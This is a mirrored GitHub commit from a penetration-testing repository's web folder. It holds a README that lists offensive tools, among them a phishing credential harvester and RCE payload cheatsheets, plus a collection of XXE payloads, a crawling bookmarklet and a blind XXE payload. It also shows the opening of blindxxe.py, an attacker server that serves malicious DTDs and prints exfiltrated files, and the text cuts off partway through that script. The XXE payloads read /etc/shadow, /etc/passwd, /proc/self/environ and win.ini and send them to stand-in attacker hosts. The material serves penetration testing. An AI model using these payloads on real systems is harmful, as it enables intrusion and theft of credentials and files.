mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2025-09-06 20:12:59 +02:00
First
This commit is contained in:
139
web/README.md
Normal file
139
web/README.md
Normal file
@ -0,0 +1,139 @@
|
||||
## Web Applications penetration testing related scripts, tools and Cheatsheets
|
||||
|
||||
|
||||
- **`xml-attacks.md`** - XML Vulnerabilities and Attacks cheatsheet. ([gist](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870))
|
||||
|
||||
- **`reencode.py`** - ReEncoder.py - script allowing for recursive encoding detection, decoding and then re-encoding. To be used for instance in fuzzing purposes. Requires: jwt (pip install pyjwt). ([gist](https://gist.github.com/mgeeky/1052681318a8164b112edfcdcb30798f))
|
||||
|
||||
Sample output could look like:
|
||||
|
||||
```
|
||||
Usage: detect.py <text>
|
||||
Using sample: "4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935"
|
||||
[+] Detected encoding: HexEncoded
|
||||
[+] Detected encoding: Base64
|
||||
[+] Detected encoding: URLEncoder
|
||||
[.] No more encodings.
|
||||
[.] Input data encoded according to: ['HexEncoded', 'Base64', 'URLEncoder']
|
||||
[>] Decoding HexEncoded: (4a5451344a5459314a545a6a4a545a6a4a545a6d4a5449774a5463334a545a6d4a5463794a545a6a4a5459304a5449784a5449774a544e684a544a6b4a544935) => (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5)
|
||||
[>] Decoding Base64: (JTQ4JTY1JTZjJTZjJTZmJTIwJTc3JTZmJTcyJTZjJTY0JTIxJTIwJTNhJTJkJTI5) => (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29)
|
||||
[>] Decoding URLEncoder: (%48%65%6c%6c%6f%20%77%6f%72%6c%64%21%20%3a%2d%29) => (Hello world! :-))
|
||||
(1) DECODED TEXT: "Hello world! :-)"
|
||||
|
||||
(2) TO BE ENCODED TEXT: "FOO Hello world! :-) BAR"
|
||||
[>] Encoding URLEncoder: (FOO Hello world! :-) BAR) => (FOO%20Hello%20world%21%20%3A-%29%20BAR)
|
||||
[>] Encoding Base64: (FOO%20Hello%20world%21%20%3A-%29%20BAR) => (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=)
|
||||
|
||||
[>] Encoding HexEncoded: (Rk9PJTIwSGVsbG8lMjB3b3JsZCUyMSUyMCUzQS0lMjklMjBCQVI=) => (526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d)
|
||||
(3) ENCODED FORM: "526b39504a544977534756736247386c4d6a423362334a735a4355794d5355794d43557a5153306c4d6a6b6c4d6a42435156493d"
|
||||
```
|
||||
|
||||
When `DEBUG` is turned on, the output may also look like:
|
||||
|
||||
```
|
||||
$ ./reencode.py JTQxJTQxJTQxJTQx
|
||||
[.] Trying: URLEncoder (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||
[.] Trying: HexEncoded (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||
[.] Trying: Base64 (peeled off: 0). Current form: "JTQxJTQxJTQxJTQx"
|
||||
[.] Unclear situation whether input (JTQxJTQxJTQxJTQx) is Base64 encoded. Branching.
|
||||
[*] Generator returned: ("None", "JTQxJTQxJTQxJTQx", True)
|
||||
[+] Detected encoder: Base64
|
||||
[*] Generator returned: ("Base64", "%41%41%41%41", False)
|
||||
[.] Trying: URLEncoder (peeled off: 1). Current form: "%41%41%41%41"
|
||||
[+] Detected encoder: URLEncoder
|
||||
[*] Generator returned: ("URLEncoder", "AAAA", False)
|
||||
[.] Trying: URLEncoder (peeled off: 2). Current form: "AAAA"
|
||||
[.] Trying: HexEncoded (peeled off: 2). Current form: "AAAA"
|
||||
[.] Unclear situation whether input (AAAA) is Hex encoded. Branching.
|
||||
[*] Generator returned: ("None", "AAAA", True)
|
||||
[+] Detected encoder: HexEncoded
|
||||
[*] Generator returned: ("HexEncoded", "<22><>", False)
|
||||
[.] Trying: URLEncoder (peeled off: 3). Current form: "<22><>"
|
||||
[.] Trying: HexEncoded (peeled off: 3). Current form: "<22><>"
|
||||
[.] Trying: Base64 (peeled off: 3). Current form: "<22><>"
|
||||
[.] Trying: Base64URLSafe (peeled off: 3). Current form: "<22><>"
|
||||
[.] Trying: JWT (peeled off: 3). Current form: "<22><>"
|
||||
[.] Trying: None (peeled off: 3). Current form: "<22><>"
|
||||
None (JTQxJTQxJTQxJTQx)
|
||||
├── None (JTQxJTQxJTQxJTQx)
|
||||
└── Base64 (%41%41%41%41)
|
||||
└── URLEncoder (AAAA)
|
||||
├── None (AAAA)
|
||||
└── HexEncoded ()
|
||||
[.] Candidate for best decode using None: "AAAA"...
|
||||
[.] Candidate for best decode using HexEncoded: "<22><>"...
|
||||
[=] Evaluating candidate: None (data: AAAA)
|
||||
Adding 10.0 points for printable characters.
|
||||
Adding 0.0 points for high entropy.
|
||||
Adding 4.0 points for length.
|
||||
Scored in total: 14.0 points.
|
||||
[=] Evaluating candidate: HexEncoded (data: <20><>)
|
||||
Adding 0.0 points for printable characters.
|
||||
Adding 0.0 points for high entropy.
|
||||
Adding 2.0 points for length.
|
||||
Scored in total: 2.0 points.
|
||||
[?] Other equally good candidate paths:
|
||||
(Node('/None/Base64/URLEncoder', decoded='AAAA'), Node('/None/Base64/URLEncoder/None', decoded='AAAA'))
|
||||
[+] Winning decode path is:
|
||||
Node('/None/Base64/URLEncoder', decoded='AAAA')
|
||||
[+] Selected encodings: ['None', 'Base64', 'URLEncoder']
|
||||
(1) DECODED TEXT: "AAAA"
|
||||
|
||||
(2) TO BE ENCODED TEXT: "FOO AAAA BAR"
|
||||
(3) ENCODED FORM: "Rk9PJTIwQUFBQSUyMEJBUg=="
|
||||
```
|
||||
|
||||
|
||||
- **`oRTC-leak-internal-ip.js`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/03f0871fb88c64b3d6d3a725c3ba38bf))
|
||||
|
||||
- **`XXE Payloads`** - Internal IP address leakage via Object RTC (ORTC) interface implemented in Microsoft Edge. ([gist](https://gist.github.com/mgeeky/181c6836488e35fcbf70290a048cd51d))
|
||||
|
||||
- **`blind-xxe-payload-1.txt`** - Simplest Blind XXE Payload to test within HTML request. ([gist](https://gist.github.com/mgeeky/cf677de6e7fdc05803f6935de1ee0882))
|
||||
|
||||
- **`burpCookieToUrl.py`** - Example BurpSuite extension copying specified Cookie's value (ticket) into URL parameters set under different name. ([gist](https://gist.github.com/mgeeky/61407112d6d09eaafd542e25590e1d35))
|
||||
|
||||
- **`post.php`** - (GIST discontinued, for recent version check: https://github.com/mgeeky/PhishingPost ) PHP Credentials Harversting script to be used during Social Engineering Phishing campaigns/projects. ([gist](https://gist.github.com/mgeeky/32375178621a5920e8c810d2d7e3b2e5))
|
||||
|
||||
|
||||
- [**`PhishingPost`**](https://github.com/mgeeky/PhishingPost) - (PHP Script intdended to be used during Phishing campaigns as a credentials collector linked to backdoored HTML <form> action parameter.
|
||||
|
||||
- **`burp-curl-beautifier.py`** - Simple script for making "Copy as curl command" output in system's clipboard a little nicer, at least for me. ([gist](https://gist.github.com/mgeeky/3a5060e54004ca597241d6752b482675))
|
||||
|
||||
- **`padding-oracle-tests.py`** - Padding Oracle test-cases generator utility aiding process of manual inspection of cryptosystem's responses. ([gist](https://gist.github.com/mgeeky/5dfa475af2c970197a62ad070ba5deee))
|
||||
|
||||
```
|
||||
# Simple utility that aids the penetration tester when manually testing Padding Oracle condition
|
||||
# of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
|
||||
#
|
||||
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
|
||||
# and then generates all the possible, reasonable cipher text transformations to be used while manually
|
||||
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
|
||||
# encoded values to be used in manual application testing approaches, like sending requests.
|
||||
#
|
||||
# One of possible scenarios and ways to use the below script could be the following:
|
||||
# - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
|
||||
# - launch pador.py which is an example of application vulnerable to Padding Oracle
|
||||
# - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
|
||||
# test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
|
||||
# result would be considered padding-hit, therefore vulnerability proof.
|
||||
#
|
||||
# This script could be then launched to generate every possible test case of second to the last block
|
||||
# being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
|
||||
# and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
|
||||
```
|
||||
|
||||
- **`create_mitm_certificate.sh`** - Simple SSL/TLS self-signed CA Certificate generator for MITM purposes. ([gist](https://gist.github.com/mgeeky/5e36d6482e73ab85c161c35bfd50c465))
|
||||
|
||||
- **`java-XMLDecoder-RCE.md`** - Java Beans XMLDecoder XML-deserialization Remote Code Execution payloads. ([gist](https://gist.github.com/mgeeky/5eb48b17c9d282ad3170ef91cfb6fe4c))
|
||||
|
||||
- **`struts-cheatsheet.md`** - Apache Struts devMode Remote Code Execution cheatsheet. ([gist](https://gist.github.com/mgeeky/5ba0170a5fd0171eb91bc1fd0f2618b7))
|
||||
|
||||
- **`pickle-payload.py`** - Python's Pickle Remote Code Execution payload template. ([gist](https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd))
|
||||
|
||||
- **`http-auth-timing.py`** - HTTP Auth Timing attack tool as presented at Ruxcon CTF 2012 simple web challange. The tools tries to use every letter for auth password and construct the entire password upon the longest took authentication request. ([gist](https://gist.github.com/mgeeky/57e866604942f1824da310982c46da84))
|
||||
|
||||
- **`blindxxe.py`** - Blind XXE (External XML Entity) attacker's server - to be used in blind XXE data exfiltration (like in Play Framework or Ruby on Rails). ([gist](https://gist.github.com/mgeeky/7f45c82e8d3097cbbbb250e37bc68573))
|
||||
|
||||
- **`ajax_crawl.js`** - AJAX Crawling bookmarklet - useful bookmarklet for fetching accessible, in-scope URLs from the webpage (and it's sitemap.xml) in order to let them be captured in local proxy like Burp. This in turn is useful for populating local proxy's history and it's website resources tree. Must-have during website pentesting. ([gist](https://gist.github.com/mgeeky/db809bec7460707693f2ed3548ea6a43))
|
||||
|
||||
- **`dummy-web-server.py`** - a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else. Forked from: [bradmontgomery/dummy-web-server.py](https://gist.github.com/bradmontgomery/2219997) ([gist](https://gist.github.com/mgeeky/c0675b2cf65bad6171edcb8f3bb2af6d))
|
144
web/XXE_payloads
Normal file
144
web/XXE_payloads
Normal file
@ -0,0 +1,144 @@
|
||||
--------------------------------------------------------------
|
||||
Vanilla, used to verify outbound xxe or blind xxe
|
||||
--------------------------------------------------------------
|
||||
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE r [
|
||||
<!ELEMENT r ANY >
|
||||
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
|
||||
]>
|
||||
<r>&sp;</r>
|
||||
|
||||
---------------------------------------------------------------
|
||||
OoB extraction
|
||||
---------------------------------------------------------------
|
||||
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE r [
|
||||
<!ELEMENT r ANY >
|
||||
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
|
||||
%sp;
|
||||
%param1;
|
||||
]>
|
||||
<r>&exfil;</r>
|
||||
|
||||
## External dtd: ##
|
||||
|
||||
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
|
||||
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
|
||||
|
||||
----------------------------------------------------------------
|
||||
OoB variation of above (seems to work better against .NET)
|
||||
----------------------------------------------------------------
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE r [
|
||||
<!ELEMENT r ANY >
|
||||
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
|
||||
%sp;
|
||||
%param1;
|
||||
%exfil;
|
||||
]>
|
||||
|
||||
## External dtd: ##
|
||||
|
||||
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
|
||||
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
|
||||
|
||||
---------------------------------------------------------------
|
||||
OoB extraction
|
||||
---------------------------------------------------------------
|
||||
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE r [
|
||||
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
|
||||
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
|
||||
%sp;
|
||||
%param3;
|
||||
%exfil;
|
||||
]>
|
||||
|
||||
## External dtd: ##
|
||||
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
OoB extra ERROR -- Java
|
||||
-----------------------------------------------------------------------
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE r [
|
||||
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
|
||||
%sp;
|
||||
%param3;
|
||||
%exfil;
|
||||
]>
|
||||
<r></r>
|
||||
## External dtd: ##
|
||||
|
||||
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
|
||||
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
OoB extra nice
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % start "<![CDATA[">
|
||||
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
|
||||
<!ENTITY % end "]]>">
|
||||
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
|
||||
%dtd;
|
||||
]>
|
||||
<root>&all;</root>
|
||||
|
||||
## External dtd: ##
|
||||
|
||||
<!ENTITY all "%start;%stuff;%end;">
|
||||
|
||||
------------------------------------------------------------------
|
||||
File-not-found exception based extraction
|
||||
------------------------------------------------------------------
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [
|
||||
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
|
||||
%one;
|
||||
%two;
|
||||
%four;
|
||||
]>
|
||||
|
||||
## External dtd: ##
|
||||
|
||||
<!ENTITY % three SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
|
||||
|
||||
-------------------------^ you might need to encode this % (depends on your target) as: %
|
||||
|
||||
--------------
|
||||
FTP
|
||||
--------------
|
||||
<?xml version="1.0" ?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
|
||||
%asd;
|
||||
%c;
|
||||
]>
|
||||
<a>&rrr;</a>
|
||||
|
||||
|
||||
## External dtd ##
|
||||
<!ENTITY % d SYSTEM "file:///proc/self/environ">
|
||||
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
|
||||
|
||||
---------------------------
|
||||
Inside SOAP body
|
||||
---------------------------
|
||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||
|
||||
|
||||
---------------------------
|
||||
Untested - WAF Bypass
|
||||
---------------------------
|
||||
<!DOCTYPE :. SYTEM "http://"
|
||||
<!DOCTYPE :_-_: SYTEM "http://"
|
||||
<!DOCTYPE {0xdfbf} SYSTEM "http://"
|
176
web/ajax_crawl.js
Normal file
176
web/ajax_crawl.js
Normal file
@ -0,0 +1,176 @@
|
||||
/* Copy the below line to your bookmarklet: */
|
||||
javascript:(function(){MAX_URLS_TO_FETCH = 512; limit_reached = false; function decodeHtml(html) {txt = document.createElement('textarea'); txt.innerHTML = html; return txt.value; } String.prototype.endsWith = function(suffix) {return this.indexOf(suffix, this.length - suffix.length) !== -1; }; function normalizeUri(uri) {if (!uri || uri.length < 1) {return ''; } if(uri.toLowerCase().startsWith('javascript:') || uri.toLowerCase().startsWith('mailto:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('tel:') || uri.toLowerCase().startsWith('phone:') || uri.toLowerCase().startsWith('#') ) {return ''; } orig = location.origin; if (uri.startsWith('http') && !uri.startsWith(orig)) {if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {return uri; } return ''; } if (uri.startsWith(orig)) {return uri; } if (uri.startsWith('//')) {return location.protocol + uri; } if (uri.startsWith('"') || uri.startsWith("'") ) {return ''; } if (!uri.startsWith('/')) {var h = location.href; return h.substr(0, h.lastIndexOf('/') + 1) + uri; } else {return orig + uri; } return ''; } function collectUrls(code) {if (!code || code.length < 64) {return new Array(); } origin = location.origin; arr = new Set(); excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif']; askedAlready = false; includeLogouts = false; logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i; rexes = [/(?:href|src|action)="([^"]+)"/gi, /(?:href|src|action)='([^']+)'/gi, /'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi, /"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi, /((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi ]; n = rexes.length; for (var i = 0; i < rexes.length; i++) {r = new RegExp(rexes[i]); match = r.exec(code); while (match != null) {uri2 = ''; if (typeof match[1] !== 'undefined') uri2 += match[1]; if (typeof match[2] !== 'undefined') uri2 += match[2]; if (typeof match[3] !== 'undefined') uri2 += match[3]; uri = decodeHtml(uri2) || uri2; uri = normalizeUri(uri); in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':'))); if(uri.startsWith(orig) != in_scope_wo_scheme) {uri = location.protocol + uri.substr(uri.indexOf(':')+1); } if (uri && uri.length > 0 && uri.startsWith(orig)) {good = true; excluded.forEach(function(ext) {if (uri.endsWith(ext)) {good = false; } else if (logoutRex.test(uri)) {if (!askedAlready) {askedAlready = true; if (confirm('Logout URL has been found, do you want to issue it as well?')) {includeLogouts = true; } } good = includeLogouts; } }); if(good) {arr.add(uri); if(arr.size > MAX_URLS_TO_FETCH) {if(!limit_reached) {alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...'); limit_reached = true; } return arr; } } } else if (uri.length > 0) {console.log('Skipping: ' + uri); } match = r.exec(code); } } return arr; } function fetchUrls(arr) {if(arr.size < 1) {return false; } var i = 0; arr.forEach(function(uri){i += 1; console.log('Requesting #' + i + ': "' + uri + '"'); xhr = new XMLHttpRequest(); xhr.open('get', uri, true); xhr.send(); }); return i; } html = document.documentElement.innerHTML; urls = collectUrls(html); len = fetchUrls(urls); alert('Asynchronously requested ' + len + ' URLs.'); xhr = new XMLHttpRequest(); xhr.onload = function() {if(xhr.readyState == xhr.DONE && xhr.status == 200) {console.log('Got sitemap.xml. Parsing...'); urls2 = collectUrls(this.responseText); len2 = fetchUrls(urls2); alert('Fetched ' + len2 + ' URLs from sitemap.xml'); } }; xhr.open('GET', location.origin + '/sitemap.xml', true); xhr.responseType = 'text'; xhr.send(); })()
|
||||
|
||||
|
||||
/* Full code:
|
||||
javascript:(function(){
|
||||
|
||||
MAX_URLS_TO_FETCH = 512;
|
||||
limit_reached = false;
|
||||
|
||||
function decodeHtml(html) {
|
||||
txt = document.createElement('textarea');
|
||||
txt.innerHTML = html;
|
||||
return txt.value;
|
||||
}
|
||||
|
||||
String.prototype.endsWith = function(suffix) {
|
||||
return this.indexOf(suffix, this.length - suffix.length) !== -1;
|
||||
};
|
||||
|
||||
function normalizeUri(uri) {
|
||||
if (!uri || uri.length < 1) {
|
||||
return '';
|
||||
}
|
||||
|
||||
if(uri.toLowerCase().startsWith('javascript:')
|
||||
|| uri.toLowerCase().startsWith('mailto:')
|
||||
|| uri.toLowerCase().startsWith('phone:')
|
||||
|| uri.toLowerCase().startsWith('tel:')
|
||||
|| uri.toLowerCase().startsWith('phone:')
|
||||
|| uri.toLowerCase().startsWith('#')
|
||||
) {
|
||||
return '';
|
||||
}
|
||||
|
||||
orig = location.origin;
|
||||
if (uri.startsWith('http') && !uri.startsWith(orig)) {
|
||||
if (uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')))) {
|
||||
return uri;
|
||||
}
|
||||
return '';
|
||||
}
|
||||
if (uri.startsWith(orig)) {
|
||||
return uri;
|
||||
}
|
||||
if (uri.startsWith('//')) {
|
||||
return location.protocol + uri;
|
||||
}
|
||||
if (uri.startsWith('"') || uri.startsWith("'") ) {
|
||||
return '';
|
||||
}
|
||||
if (!uri.startsWith('/')) {
|
||||
var h = location.href;
|
||||
return h.substr(0, h.lastIndexOf('/') + 1) + uri;
|
||||
}
|
||||
else {
|
||||
return orig + uri;
|
||||
}
|
||||
return '';
|
||||
}
|
||||
|
||||
function collectUrls(code) {
|
||||
if (!code || code.length < 64) {
|
||||
return new Array();
|
||||
}
|
||||
|
||||
origin = location.origin;
|
||||
arr = new Set();
|
||||
excluded = ['png', 'bmp', 'ico', 'jpeg', 'jpg', 'tiff', 'woff', 'css', 'gif'];
|
||||
askedAlready = false;
|
||||
includeLogouts = false;
|
||||
logoutRex = /.*wylog|signoff|signout|exit|logout|logoff|byebye.*$/i;
|
||||
|
||||
rexes = [
|
||||
/(?:href|src|action)="([^"]+)"/gi,
|
||||
/(?:href|src|action)='([^']+)'/gi,
|
||||
/'((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+\".~#?&\/\/=]*))'/gi,
|
||||
/"((?:https?:\/\/)?(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+'.~#?&\/\/=]*))"/gi,
|
||||
/((?:https?:\/\/)(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b(?:[-a-zA-Z0-9@:%_\+.~#?&\/\/=]*))/gi
|
||||
];
|
||||
|
||||
n = rexes.length;
|
||||
for (var i = 0; i < rexes.length; i++) {
|
||||
|
||||
r = new RegExp(rexes[i]);
|
||||
match = r.exec(code);
|
||||
|
||||
while (match != null) {
|
||||
|
||||
uri2 = '';
|
||||
if (typeof match[1] !== 'undefined') uri2 += match[1];
|
||||
if (typeof match[2] !== 'undefined') uri2 += match[2];
|
||||
if (typeof match[3] !== 'undefined') uri2 += match[3];
|
||||
|
||||
uri = decodeHtml(uri2) || uri2;
|
||||
uri = normalizeUri(uri);
|
||||
|
||||
in_scope_wo_scheme = uri.substr(uri.indexOf(':')).startsWith(orig.substr(orig.indexOf(':')));
|
||||
if(uri.startsWith(orig) != in_scope_wo_scheme) {
|
||||
uri = location.protocol + uri.substr(uri.indexOf(':')+1);
|
||||
}
|
||||
|
||||
if (uri && uri.length > 0 && uri.startsWith(orig)) {
|
||||
good = true;
|
||||
excluded.forEach(function(ext) {
|
||||
if (uri.endsWith(ext)) {
|
||||
good = false;
|
||||
} else if (logoutRex.test(uri)) {
|
||||
if (!askedAlready) {
|
||||
askedAlready = true;
|
||||
if (confirm('Logout URL has been found, do you want to issue it as well?')) {
|
||||
includeLogouts = true;
|
||||
}
|
||||
}
|
||||
good = includeLogouts;
|
||||
}
|
||||
});
|
||||
|
||||
if(good) {
|
||||
arr.add(uri);
|
||||
|
||||
if(arr.size > MAX_URLS_TO_FETCH) {
|
||||
if(!limit_reached) {
|
||||
alert('Parsed maximum number of URLs: ' + MAX_URLS_TO_FETCH + '. Skipping the rest...');
|
||||
limit_reached = true;
|
||||
}
|
||||
return arr;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (uri.length > 0) {
|
||||
console.log('Skipping: ' + uri);
|
||||
}
|
||||
match = r.exec(code);
|
||||
}
|
||||
}
|
||||
return arr;
|
||||
}
|
||||
|
||||
function fetchUrls(arr) {
|
||||
if(arr.size < 1) {
|
||||
return false;
|
||||
}
|
||||
|
||||
var i = 0;
|
||||
arr.forEach(function(uri){
|
||||
i += 1;
|
||||
console.log('Requesting #' + i + ': "' + uri + '"');
|
||||
xhr = new XMLHttpRequest();
|
||||
xhr.open('get', uri, true);
|
||||
xhr.send();
|
||||
});
|
||||
return i;
|
||||
}
|
||||
|
||||
html = document.documentElement.innerHTML;
|
||||
urls = collectUrls(html);
|
||||
len = fetchUrls(urls);
|
||||
alert('Asynchronously requested ' + len + ' URLs.');
|
||||
|
||||
xhr = new XMLHttpRequest();
|
||||
xhr.onload = function() {
|
||||
if(xhr.readyState == xhr.DONE && xhr.status == 200) {
|
||||
console.log('Got sitemap.xml. Parsing...');
|
||||
urls2 = collectUrls(this.responseText);
|
||||
len2 = fetchUrls(urls2);
|
||||
|
||||
alert('Fetched ' + len2 + ' URLs from sitemap.xml');
|
||||
}
|
||||
};
|
||||
xhr.open('GET', location.origin + '/sitemap.xml', true);
|
||||
xhr.responseType = 'text';
|
||||
xhr.send();
|
||||
|
||||
})()
|
||||
*/
|
3
web/blind-xxe-payload-1.txt
Normal file
3
web/blind-xxe-payload-1.txt
Normal file
@ -0,0 +1,3 @@
|
||||
Content-Type: text/xml
|
||||
|
||||
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxetestd [<!ENTITY xxetest SYSTEM "http://attacker/test.dtd">]><foo>&xxetest;</foo>
|
120
web/blindxxe.py
Normal file
120
web/blindxxe.py
Normal file
@ -0,0 +1,120 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
#
|
||||
# Simple Blind XXE server intended to handle incoming requests for
|
||||
# malicious DTD file, that will subsequently ask for locally stored file,
|
||||
# like file:///etc/passwd.
|
||||
#
|
||||
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
|
||||
# to be run as follows:
|
||||
#
|
||||
# 0. Configure global variables: SERVER_SOCKET and RHOST
|
||||
#
|
||||
# 1. Run the below script, using:
|
||||
# $ python blindxxe.py <filepath>
|
||||
#
|
||||
# where <filepath> can be for instance: "file:///etc/passwd"
|
||||
#
|
||||
# 2. Then, while server is running - invoke XXE by requesting e.g.
|
||||
# $ curl -X POST http://vulnerable/app --data-binary \
|
||||
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
|
||||
#
|
||||
# The expected result will be like the following:
|
||||
#
|
||||
# $ python blindxxe.py
|
||||
# Exfiltrated file:///etc/passwd:
|
||||
# ------------------------------
|
||||
# root:x:0:0:root:/root:/bin/sh
|
||||
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
|
||||
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
|
||||
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
|
||||
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
|
||||
#
|
||||
#
|
||||
# Mariusz B., 2016
|
||||
#
|
||||
|
||||
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
import urllib
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import threading
|
||||
import socket
|
||||
|
||||
#
|
||||
# CONFIGURE THE BELOW VARIABLES
|
||||
#
|
||||
|
||||
SERVER_SOCKET = ('0.0.0.0', 8000)
|
||||
EXFIL_FILE = 'file:///etc/passwd'
|
||||
|
||||
# The host on which you will run this server
|
||||
RHOST = '192.168.56.1:' + str(SERVER_SOCKET[1])
|
||||
|
||||
|
||||
EXFILTRATED_EVENT = threading.Event()
|
||||
|
||||
class BlindXXEServer(BaseHTTPRequestHandler):
|
||||
|
||||
def response(self, **data):
|
||||
code = data.get('code', 200)
|
||||
content_type = data.get('content_type', 'text/plain')
|
||||
body = data.get('body', '')
|
||||
|
||||
self.send_response(code)
|
||||
self.send_header('Content-Type', content_type)
|
||||
self.end_headers()
|
||||
self.wfile.write(body.encode('utf-8'))
|
||||
self.wfile.close()
|
||||
|
||||
def do_GET(self):
|
||||
self.request_handler(self)
|
||||
|
||||
def do_POST(self):
|
||||
self.request_handler(self)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def request_handler(self, request):
|
||||
global EXFILTRATED_EVENT
|
||||
|
||||
path = urllib.unquote(request.path).decode('utf8')
|
||||
m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
|
||||
if m and request.command.lower() == 'get':
|
||||
data = path[len('/?exfil='):]
|
||||
print 'Exfiltrated %s:' % EXFIL_FILE
|
||||
print '-' * 30
|
||||
print urllib.unquote(data).decode('utf8')
|
||||
print '-' * 30 + '\n'
|
||||
self.response(body='true')
|
||||
|
||||
EXFILTRATED_EVENT.set()
|
||||
|
||||
elif request.path.endswith('.dtd'):
|
||||
#print '[DEBUG] Sending malicious DTD file.'
|
||||
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
|
||||
